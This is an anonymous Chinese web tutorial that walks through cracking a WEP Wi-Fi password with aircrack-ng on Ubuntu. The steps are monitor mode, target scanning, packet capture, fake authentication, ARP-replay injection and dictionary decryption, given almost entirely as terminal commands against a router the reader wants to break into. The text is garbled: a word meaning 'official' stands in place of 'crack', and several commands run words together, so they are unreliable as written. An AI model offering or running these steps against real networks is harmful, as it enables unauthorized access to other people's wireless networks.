2023-01-09 19:02:01 编辑：匿名
用的是ubuntu系统，没用linux系统的至少要在WIN里面安装ubuntu。
1、安装aircrack-ng在终端中输入 sudo apt-getinstall aircrack-ng
2 、启动无线网卡的监控模式，在终端中输入：sudo airmon-ngstart wlan0
3 、看看有哪些无线路由在工作，在终端中输入：sudo airodump-ngmon0
然后按 ctrl+c 退出，保留终端。
4 、抓包，另开一个终端，输入：sudo airodump-ng -c 6--bssid 11:22:33:44:55:66 -w wep mon0
(-c 后面跟着的6是要官方的路由器的工作频道，--bissid后面跟着的11:22:33:44:55:66是欲官方无线路由的MAC地址，-w后面跟着的是抓下来的数据包的文件名，在步骤2可以查看正在工作的无线路由的频道和MAC地址，保存的文件名可随便命名)
5 、注入官方的话要与目标路由器建立虚拟连接，再另开一个终端，输入：
sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -haa:bb:cc:dd:ee:ff mon0
(-h后面跟着的aa:bb:cc:dd:ee:ff 是自己的无线网卡的MAC地址)，如果不知道可以在终端输入ifconfig 查看。
6 、成功建立虚拟连接后输入：
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0
进行注入，注入官方是为了加快抓包的速度。
7 、收集15000(用Bt4官方时的收集数据的个数)个以上的数据之后，另开一个
终端，输入：sudo aircrack-ng wep*.cap ，进行解密。注意这里命令的文件名要和步骤4一致。
Please specify a dictionary (option -w).这是提示找不到字典
再输入aircrack-ng –w 字典 wep-01.cap开始官方
8、官方出密码后在终端中输入 sudo airmon-ng stopmon0 关闭监控模式，不然无线网卡会一直向刚刚的无线路由进行注入
注意aircrack-ng里不带字典，需要将bt6里的字典或者自己生成的字典放到ubuntu的主文件夹中格式为xxx.txt
